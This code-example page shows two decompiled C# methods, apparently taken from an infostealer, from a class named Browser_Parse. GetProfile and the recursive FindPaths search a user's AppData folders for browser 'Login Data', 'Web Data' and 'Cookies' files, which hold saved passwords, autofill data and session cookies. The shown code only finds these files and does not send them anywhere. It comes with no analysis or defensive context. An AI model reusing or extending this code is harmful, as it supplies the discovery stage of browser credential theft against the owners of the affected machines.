Exemplo n.º 1
0
        // Token: 0x06000154 RID: 340 RVA: 0x000085AC File Offset: 0x000067AC
        private static List <string> GetProfile()
        {
            List <string> list = new List <string>();
            List <string> result;

            try
            {
                list.AddRange(Browser_Parse.FindPaths(Browser_Parse.RoamingAppData, 4, 1, new string[]
                {
                    "Login Data",
                    "Web Data",
                    "Cookies"
                }));
                list.AddRange(Browser_Parse.FindPaths(Browser_Parse.LocalAppData, 4, 1, new string[]
                {
                    "Login Data",
                    "Web Data",
                    "Cookies"
                }));
                result = list;
            }
            catch
            {
                result = list;
            }
            return(result);
        }
Exemplo n.º 2
0
        // Token: 0x06000153 RID: 339 RVA: 0x00008460 File Offset: 0x00006660
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files != null && files.Length != 0 && level <= maxLevel)
            {
                try
                {
                    foreach (string path in Directory.GetDirectories(baseDirectory))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files2        = directoryInfo.GetFiles();
                            bool          flag          = false;
                            foreach (FileInfo fileInfo in files2)
                            {
                                if (flag)
                                {
                                    break;
                                }
                                foreach (string text in files)
                                {
                                    if (flag)
                                    {
                                        break;
                                    }
                                    string   a         = text;
                                    FileInfo fileInfo2 = fileInfo;
                                    if (a == fileInfo2.Name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo2.FullName);
                                    }
                                }
                            }
                            foreach (string item in Browser_Parse.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    return(list);
                }
                catch
                {
                    return(list);
                }
                return(list);
            }
            return(list);
        }